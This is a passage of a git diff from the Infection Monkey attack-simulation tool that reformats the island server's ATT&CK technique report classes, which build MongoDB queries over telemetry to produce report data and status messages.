+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
@@ -1,7 +1,5 @@
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
-__author__ = "VakarisZ"
-
class T1106(UsageTechnique):
tech_id = "T1106"
@@ -12,5 +10,5 @@ class T1106(UsageTechnique):
@staticmethod
def get_report_data():
data = T1106.get_tech_base_data()
- data.update({'api_uses': T1106.get_usage_data()})
+ data.update({"api_uses": T1106.get_usage_data()})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py
index 9448c2e6b..713fffb24 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py
@@ -1,8 +1,6 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1107(AttackTechnique):
tech_id = "T1107"
@@ -10,23 +8,36 @@ class T1107(AttackTechnique):
scanned_msg = "Monkey tried to delete files on systems in the network, but failed."
used_msg = "Monkey successfully deleted files on systems in the network."
- query = [{'$match': {'telem_category': 'attack',
- 'data.technique': 'T1107'}},
- {'$lookup': {'from': 'monkey',
- 'localField': 'monkey_guid',
- 'foreignField': 'guid',
- 'as': 'monkey'}},
- {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
- 'status': '$data.status',
- 'path': '$data.path'}},
- {'$addFields': {'_id': 0,
- 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
- 'monkey': 0}},
- {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'path': '$path'}}}]
+ query = [
+ {"$match": {"telem_category": "attack", "data.technique": "T1107"}},
+ {
+ "$lookup": {
+ "from": "monkey",
+ "localField": "monkey_guid",
+ "foreignField": "guid",
+ "as": "monkey",
+ }
+ },
+ {
+ "$project": {
+ "monkey": {"$arrayElemAt": ["$monkey", 0]},
+ "status": "$data.status",
+ "path": "$data.path",
+ }
+ },
+ {
+ "$addFields": {
+ "_id": 0,
+ "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"},
+ "monkey": 0,
+ }
+ },
+ {"$group": {"_id": {"machine": "$machine", "status": "$status", "path": "$path"}}},
+ ]
@staticmethod
def get_report_data():
data = T1107.get_tech_base_data()
deleted_files = list(mongo.db.telemetry.aggregate(T1107.query))
- data.update({'deleted_files': deleted_files})
+ data.update({"deleted_files": deleted_files})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index 63e6ba26f..2d1702b64 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -3,8 +3,6 @@ from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
-__author__ = "VakarisZ"
-
class T1110(AttackTechnique):
tech_id = "T1110"
@@ -13,15 +11,24 @@ class T1110(AttackTechnique):
used_msg = "Monkey successfully used brute force in the network."
# Gets data about brute force attempts
- query = [{'$match': {'telem_category': 'exploit',
- 'data.attempts': {'$not': {'$size': 0}}}},
- {'$project': {'_id': 0,
- 'machine': '$data.machine',
- 'info': '$data.info',
- 'attempt_cnt': {'$size': '$data.attempts'},
- 'attempts': {'$filter': {'input': '$data.attempts',
- 'as': 'attempt',
- 'cond': {'$eq': ['$$attempt.result', True]}}}}}]
+ query = [
+ {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}},
+ {
+ "$project": {
+ "_id": 0,
+ "machine": "$data.machine",
+ "info": "$data.info",
+ "attempt_cnt": {"$size": "$data.attempts"},
+ "attempts": {
+ "$filter": {
+ "input": "$data.attempts",
+ "as": "attempt",
+ "cond": {"$eq": ["$$attempt.result", True]},
+ }
+ },
+ }
+ },
+ ]
@staticmethod
def get_report_data():
@@ -31,10 +38,10 @@ class T1110(AttackTechnique):
succeeded = False
for result in attempts:
- result['successful_creds'] = []
- for attempt in result['attempts']:
+ result["successful_creds"] = []
+ for attempt in result["attempts"]:
succeeded = True
- result['successful_creds'].append(parse_creds(attempt))
+ result["successful_creds"].append(parse_creds(attempt))
if succeeded:
status = ScanStatus.USED.value
@@ -48,7 +55,7 @@ class T1110(AttackTechnique):
data = T1110.get_base_data_by_status(status)
# Remove data with no successful brute force attempts
- attempts = [attempt for attempt in attempts if attempt['attempts']]
+ attempts = [attempt for attempt in attempts if attempt["attempts"]]
- data.update({'services': attempts})
+ data.update({"services": attempts})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
index 3a13c5101..8fce14138 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
@@ -1,16 +1,16 @@
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
-__author__ = "VakarisZ"
-
class T1129(UsageTechnique):
tech_id = "T1129"
- unscanned_msg = "Monkey didn't try to load any DLLs since it didn't run on any Windows machines."
+ unscanned_msg = (
+ "Monkey didn't try to load any DLLs since it didn't run on any Windows machines."
+ )
scanned_msg = "Monkey tried to load DLLs, but failed."
used_msg = "Monkey successfully loaded DLLs using Windows module loader."
@staticmethod
def get_report_data():
data = T1129.get_tech_base_data()
- data.update({'dlls': T1129.get_usage_data()})
+ data.update({"dlls": T1129.get_usage_data()})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py
index d9d86e08e..ed5a820a5 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1136.py
@@ -1,8 +1,9 @@
-from common.common_consts.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER
+from common.common_consts.post_breach_consts import (
+ POST_BREACH_BACKDOOR_USER,
+ POST_BREACH_COMMUNICATE_AS_NEW_USER,
+)
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1136(PostBreachTechnique):
tech_id = "T1136"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
index 5d96d863e..818691bd0 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1145(AttackTechnique):
tech_id = "T1145"
@@ -12,11 +10,21 @@ class T1145(AttackTechnique):
used_msg = "Monkey found ssh keys on machines in the network."
# Gets data about ssh keys found
- query = [{'$match': {'telem_category': 'system_info',
- 'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}},
- {'$project': {'_id': 0,
- 'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
- 'ssh_info': '$data.ssh_info'}}]
+ query = [
+ {
+ "$match": {
+ "telem_category": "system_info",
+ "data.ssh_info": {"$elemMatch": {"private_key": {"$exists": True}}},
+ }
+ },
+ {
+ "$project": {
+ "_id": 0,
+ "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"},
+ "ssh_info": "$data.ssh_info",
+ }
+ },
+ ]
@staticmethod
def get_report_data():
@@ -32,5 +40,5 @@ class T1145(AttackTechnique):
status, ssh_info = get_technique_status_and_data()
data = T1145.get_base_data_by_status(status)
- data.update({'ssh_info': ssh_info})
+ data.update({"ssh_info": ssh_info})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py
index e1ca3423f..951233418 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py
@@ -1,21 +1,33 @@
from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1146(PostBreachTechnique):
tech_id = "T1146"
- unscanned_msg = "Monkey didn't try clearing the command history since it didn't run on any Linux machines."
+ unscanned_msg = (
+ "Monkey didn't try clearing the command history since it didn't run on any Linux machines."
+ )
scanned_msg = "Monkey tried clearing the command history but failed."
used_msg = "Monkey successfully cleared the command history (and then restored it back)."
pba_names = [POST_BREACH_CLEAR_CMD_HISTORY]
@staticmethod
def get_pba_query(*args):
- return [{'$match': {'telem_category': 'post_breach',
- 'data.name': POST_BREACH_CLEAR_CMD_HISTORY}},
- {'$project': {'_id': 0,
- 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]},
- 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]},
- 'result': '$data.result'}}]
+ return [
+ {
+ "$match": {
+ "telem_category": "post_breach",
+ "data.name": POST_BREACH_CLEAR_CMD_HISTORY,
+ }
+ },
+ {
+ "$project": {
+ "_id": 0,
+ "machine": {
+ "hostname": {"$arrayElemAt": ["$data.hostname", 0]},
+ "ips": [{"$arrayElemAt": ["$data.ip", 0]}],
+ },
+ "result": "$data.result",
+ }
+ },
+ ]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py
index d775fcffc..3e7cb677b 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1154.py
@@ -1,8 +1,6 @@
from common.common_consts.post_breach_consts import POST_BREACH_TRAP_COMMAND
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1154(PostBreachTechnique):
tech_id = "T1154"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py
index 0b2fdf41e..2dd6e03af 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py
@@ -1,24 +1,39 @@
from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1156(PostBreachTechnique):
tech_id = "T1156"
- unscanned_msg = "Monkey didn't try modifying bash startup files since it didn't run on any Linux machines."
+ unscanned_msg = (
+ "Monkey didn't try modifying bash startup files since it didn't run on any Linux machines."
+ )
scanned_msg = "Monkey tried modifying bash startup files but failed."
used_msg = "Monkey successfully modified bash startup files."
pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION]
@staticmethod
def get_pba_query(*args):
- return [{'$match': {'telem_category': 'post_breach',
- 'data.name': POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION}},
- {'$project': {'_id': 0,
- 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]},
- 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]},
- 'result': '$data.result'}},
- {'$unwind': '$result'},
- {'$match': {'$or': [{'result': {'$regex': r'\.bash'}},
- {'result': {'$regex': r'\.profile'}}]}}]
+ return [
+ {
+ "$match": {
+ "telem_category": "post_breach",
+ "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION,
+ }
+ },
+ {
+ "$project": {
+ "_id": 0,
+ "machine": {
+ "hostname": {"$arrayElemAt": ["$data.hostname", 0]},
+ "ips": [{"$arrayElemAt": ["$data.ip", 0]}],
+ },
+ "result": "$data.result",
+ }
+ },
+ {"$unwind": "$result"},
+ {
+ "$match": {
+ "$or": [{"result": {"$regex": r"\.bash"}}, {"result": {"$regex": r"\.profile"}}]
+ }
+ },
+ ]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py
index 9e688fd37..f58ef371a 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1158.py
@@ -1,8 +1,6 @@
from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1158(PostBreachTechnique):
tech_id = "T1158"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py
index ab482f0f6..2b13d0865 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1166.py
@@ -1,12 +1,13 @@
from common.common_consts.post_breach_consts import POST_BREACH_SETUID_SETGID
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1166(PostBreachTechnique):
tech_id = "T1166"
- unscanned_msg = "Monkey didn't try setting the setuid or setgid bits since it didn't run on any Linux machines."
+ unscanned_msg = (
+ "Monkey didn't try setting the setuid or setgid bits since it didn't run on "
+ "any Linux machines."
+ )
scanned_msg = "Monkey tried setting the setuid or setgid bits but failed."
used_msg = "Monkey successfully set the setuid or setgid bits."
pba_names = [POST_BREACH_SETUID_SETGID]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py
index a690086dc..a0cc0ee78 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1168.py
@@ -1,12 +1,12 @@
from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1168(PostBreachTechnique):
tech_id = "T1168"
- unscanned_msg = "Monkey didn't try scheduling a job on Linux since it didn't run on any Linux machines."
+ unscanned_msg = (
+ "Monkey didn't try scheduling a job on Linux since it didn't run on any Linux machines."
+ )
scanned_msg = "Monkey tried scheduling a job on the Linux system but failed."
used_msg = "Monkey scheduled a job on the Linux system."
pba_names = [POST_BREACH_JOB_SCHEDULING]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
index 2dbf87638..b41c1fb54 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.models.monkey import Monkey
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1188(AttackTechnique):
tech_id = "T1188"
@@ -24,14 +22,18 @@ class T1188(AttackTechnique):
proxy_count += 1
proxy = proxy.tunnel
if proxy_count > 1:
- hops.append({'from': initial.get_network_info(),
- 'to': proxy.get_network_info(),
- 'count': proxy_count})
+ hops.append(
+ {
+ "from": initial.get_network_info(),
+ "to": proxy.get_network_info(),
+ "count": proxy_count,
+ }
+ )
status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value
return (status, hops)
status, hops = get_technique_status_and_data()
data = T1188.get_base_data_by_status(status)
- data.update({'hops': hops})
+ data.update({"hops": hops})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
index b87aeb275..1de5f3080 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py
@@ -1,27 +1,32 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1197(AttackTechnique):
tech_id = "T1197"
- unscanned_msg = "Monkey didn't try to use any bits jobs since it didn't run on any Windows machines."
+ unscanned_msg = (
+ "Monkey didn't try to use any bits jobs since it didn't run on any Windows machines."
+ )
scanned_msg = "Monkey tried to use bits jobs but failed."
used_msg = "Monkey successfully used bits jobs at least once in the network."
@staticmethod
def get_report_data():
data = T1197.get_tech_base_data()
- bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack',
- 'data.technique': T1197.tech_id}},
- {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr',
- 'usage': '$data.usage'},
- 'ip_addr': {'$first': '$data.machine.ip_addr'},
- 'domain_name': {'$first': '$data.machine.domain_name'},
- 'usage': {'$first': '$data.usage'},
- 'time': {'$first': '$timestamp'}}
- }])
+ bits_results = mongo.db.telemetry.aggregate(
+ [
+ {"$match": {"telem_category": "attack", "data.technique": T1197.tech_id}},
+ {
+ "$group": {
+ "_id": {"ip_addr": "$data.machine.ip_addr", "usage": "$data.usage"},
+ "ip_addr": {"$first": "$data.machine.ip_addr"},
+ "domain_name": {"$first": "$data.machine.domain_name"},
+ "usage": {"$first": "$data.usage"},
+ "time": {"$first": "$timestamp"},
+ }
+ },
+ ]
+ )
bits_results = list(bits_results)
- data.update({'bits_jobs': bits_results})
+ data.update({"bits_jobs": bits_results})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
index baefcba8e..02acad288 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
@@ -2,13 +2,15 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1210(AttackTechnique):
tech_id = "T1210"
- unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
- scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
+ unscanned_msg = (
+ "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
+ )
+ scanned_msg = (
+ "Monkey scanned for remote services on the network, but couldn't exploit any of them."
+ )
used_msg = "Monkey scanned for remote services and exploited some on the network."
@staticmethod
@@ -31,29 +33,45 @@ class T1210(AttackTechnique):
scanned_services, exploited_services = [], []
else:
scanned_services, exploited_services = status_and_data[1], status_and_data[2]
- data = {'title': T1210.technique_title()}
+ data = {"title": T1210.technique_title()}
data.update(T1210.get_message_and_status(status))
data.update(T1210.get_mitigation_by_status(status))
- data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
+ data.update(
+ {"scanned_services": scanned_services, "exploited_services": exploited_services}
+ )
return data
@staticmethod
def get_scanned_services():
- results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}},
- {'$sort': {'data.service_count': -1}},
- {'$group': {
- '_id': {'ip_addr': '$data.machine.ip_addr'},
- 'machine': {'$first': '$data.machine'},
- 'time': {'$first': '$timestamp'}}}])
+ results = mongo.db.telemetry.aggregate(
+ [
+ {"$match": {"telem_category": "scan"}},
+ {"$sort": {"data.service_count": -1}},
+ {
+ "$group": {
+ "_id": {"ip_addr": "$data.machine.ip_addr"},
+ "machine": {"$first": "$data.machine"},
+ "time": {"$first": "$timestamp"},
+ }
+ },
+ ]
+ )
return list(results)
@staticmethod
def get_exploited_services():
- results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'exploit', 'data.result': True}},
- {'$group': {
- '_id': {'ip_addr': '$data.machine.ip_addr'},
- 'service': {'$first': '$data.info'},
- 'machine': {'$first': '$data.machine'},
- 'time': {'$first': '$timestamp'}}}])
+ results = mongo.db.telemetry.aggregate(
+ [
+ {"$match": {"telem_category": "exploit", "data.result": True}},
+ {
+ "$group": {
+ "_id": {"ip_addr": "$data.machine.ip_addr"},
+ "service": {"$first": "$data.info"},
+ "machine": {"$first": "$data.machine"},
+ "time": {"$first": "$timestamp"},
+ }
+ },
+ ]
+ )
return list(results)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py
index 796c1a043..7ef32c559 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py
@@ -1,20 +1,27 @@
from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1216(PostBreachTechnique):
tech_id = "T1216"
- unscanned_msg = "Monkey didn't attempt to execute an arbitrary program with the help of a " +\
- "pre-existing signed script since it didn't run on any Windows machines. " +\
- "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
- "bypass application control and signature validation on systems."
- scanned_msg = "Monkey attempted to execute an arbitrary program with the help of a " +\
- "pre-existing signed script on Windows but failed. " +\
- "If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
- "bypass application control and signature validation on systems."
- used_msg = "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " +\
- "This behavior could be abused by adversaries to execute malicious files that could " +\
- "bypass application control and signature validation on systems."
+ unscanned_msg = (
+ "Monkey didn't attempt to execute an arbitrary program with the help of a "
+ + "pre-existing signed script since it didn't run on any Windows machines. "
+ + "If successful, this behavior could be abused by adversaries to execute malicious "
+ "files that could " + "bypass application control and signature validation on "
+ "systems."
+ )
+ scanned_msg = (
+ "Monkey attempted to execute an arbitrary program with the help of a "
+ + "pre-existing signed script on Windows but failed. "
+ + "If successful, this behavior could be abused by adversaries to execute malicious "
+ "files that could " + "bypass application control and signature validation on "
+ "systems."
+ )
+ used_msg = (
+ "Monkey executed an arbitrary program with the help of a pre-existing signed script "
+ "on Windows. "
+ + "This behavior could be abused by adversaries to execute malicious files that could "
+ + "bypass application control and signature validation on systems."
+ )
pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py
index 940c9e8ea..73eab6fd1 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1222(AttackTechnique):
tech_id = "T1222"
@@ -11,14 +9,28 @@ class T1222(AttackTechnique):
scanned_msg = "Monkey tried to change file permissions, but failed."
used_msg = "Monkey successfully changed file permissions in network systems."
- query = [{'$match': {'telem_category': 'attack',
- 'data.technique': 'T1222',
- 'data.status': ScanStatus.USED.value}},
- {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}},
- {"$replaceRoot": {"newRoot": "$_id"}}]
+ query = [
+ {
+ "$match": {
+ "telem_category": "attack",
+ "data.technique": "T1222",
+ "data.status": ScanStatus.USED.value,
+ }
+ },
+ {
+ "$group": {
+ "_id": {
+ "machine": "$data.machine",
+ "status": "$data.status",
+ "command": "$data.command",
+ }
+ }
+ },
+ {"$replaceRoot": {"newRoot": "$_id"}},
+ ]
@staticmethod
def get_report_data():
data = T1222.get_tech_base_data()
- data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))})
+ data.update({"commands": list(mongo.db.telemetry.aggregate(T1222.query))})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py
index c2ed8d3f8..de2571b6b 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py
@@ -1,23 +1,36 @@
from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1504(PostBreachTechnique):
tech_id = "T1504"
- unscanned_msg = "Monkey didn't try modifying powershell startup files since it didn't run on any Windows machines."
+ unscanned_msg = (
+ "Monkey didn't try modifying powershell startup files since it didn't run on "
+ "any Windows machines."
+ )
scanned_msg = "Monkey tried modifying powershell startup files but failed."
used_msg = "Monkey successfully modified powershell startup files."
pba_names = [POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION]
@staticmethod
def get_pba_query(*args):
- return [{'$match': {'telem_category': 'post_breach',
- 'data.name': POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION}},
- {'$project': {'_id': 0,
- 'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]},
- 'ips': [{'$arrayElemAt': ['$data.ip', 0]}]},
- 'result': '$data.result'}},
- {'$unwind': '$result'},
- {'$match': {'result': {'$regex': r'profile\.ps1'}}}]
+ return [
+ {
+ "$match": {
+ "telem_category": "post_breach",
+ "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION,
+ }
+ },
+ {
+ "$project": {
+ "_id": 0,
+ "machine": {
+ "hostname": {"$arrayElemAt": ["$data.hostname", 0]},
+ "ips": [{"$arrayElemAt": ["$data.ip", 0]}],
+ },
+ "result": "$data.result",
+ }
+ },
+ {"$unwind": "$result"},
+ {"$match": {"result": {"$regex": r"profile\.ps1"}}},
+ ]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index 61c1f89bd..40a421d74 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -9,9 +9,10 @@ from monkey_island.cc.services.attack.attack_config import AttackConfig
logger = logging.getLogger(__name__)
-
-disabled_msg = "This technique has been disabled. " +\
- "You can enable it from the [configuration page](../../configure)."
+disabled_msg = (
+ "This technique has been disabled. "
+ + "You can enable it from the [configuration page](../../configure)."
+)
class AttackTechnique(object, metaclass=abc.ABCMeta):
@@ -65,13 +66,21 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
"""
if not cls._is_enabled_in_config():
return ScanStatus.DISABLED.value
- elif mongo.db.telemetry.find_one({'telem_category': 'attack',
- 'data.status': ScanStatus.USED.value,
- 'data.technique': cls.tech_id}):
+ elif mongo.db.telemetry.find_one(
+ {
+ "telem_category": "attack",
+ "data.status": ScanStatus.USED.value,
+ "data.technique": cls.tech_id,
+ }
+ ):
return ScanStatus.USED.value
- elif mongo.db.telemetry.find_one({'telem_category': 'attack',
- 'data.status': ScanStatus.SCANNED.value,
- 'data.technique': cls.tech_id}):
+ elif mongo.db.telemetry.find_one(
+ {
+ "telem_category": "attack",
+ "data.status": ScanStatus.SCANNED.value,
+ "data.technique": cls.tech_id,
+ }
+ ):
return ScanStatus.SCANNED.value
else:
return ScanStatus.UNSCANNED.value
@@ -83,7 +92,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
:param status: Enum from common/attack_utils.py integer value
:return: Dict with message and status
"""
- return {'message': cls.get_message_by_status(status), 'status': status}
+ return {"message": cls.get_message_by_status(status), "status": status}
@classmethod
def get_message_by_status(cls, status):
@@ -106,27 +115,28 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
"""
:return: techniques title. E.g. "T1110 Brute force"
"""
- return AttackConfig.get_technique(cls.tech_id)['title']
+ return AttackConfig.get_technique(cls.tech_id)["title"]
@classmethod
def get_tech_base_data(cls):
"""
Gathers basic attack technique data into a dict.
- :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute force'}
+ :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute
+ force'}
"""
data = {}
status = cls.technique_status()
title = cls.technique_title()
- data.update({'status': status,
- 'title': title,
- 'message': cls.get_message_by_status(status)})
+ data.update(
+ {"status": status, "title": title, "message": cls.get_message_by_status(status)}
+ )
data.update(cls.get_mitigation_by_status(status))
return data
@classmethod
def get_base_data_by_status(cls, status):
data = cls.get_message_and_status(status)
- data.update({'title': cls.technique_title()})
+ data.update({"title": cls.technique_title()})
data.update(cls.get_mitigation_by_status(status))
return data
@@ -134,14 +144,19 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
def get_mitigation_by_status(cls, status: ScanStatus) -> dict:
if status == ScanStatus.USED.value:
mitigation_document = AttackMitigations.get_mitigation_by_technique_id(str(cls.tech_id))
- return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']}
+ return {"mitigations": mitigation_document.to_mongo().to_dict()["mitigations"]}
else:
return {}
@classmethod
def is_status_disabled(cls, get_technique_status_and_data) -> bool:
def check_if_disabled_in_config():
- return (ScanStatus.DISABLED.value, []) if not cls._is_enabled_in_config() else get_technique_status_and_data()
+ return (
+ (ScanStatus.DISABLED.value, [])
+ if not cls._is_enabled_in_config()
+ else get_technique_status_and_data()
+ )
+
return check_if_disabled_in_config
@classmethod
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py
index da475c697..5460caf4c 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py
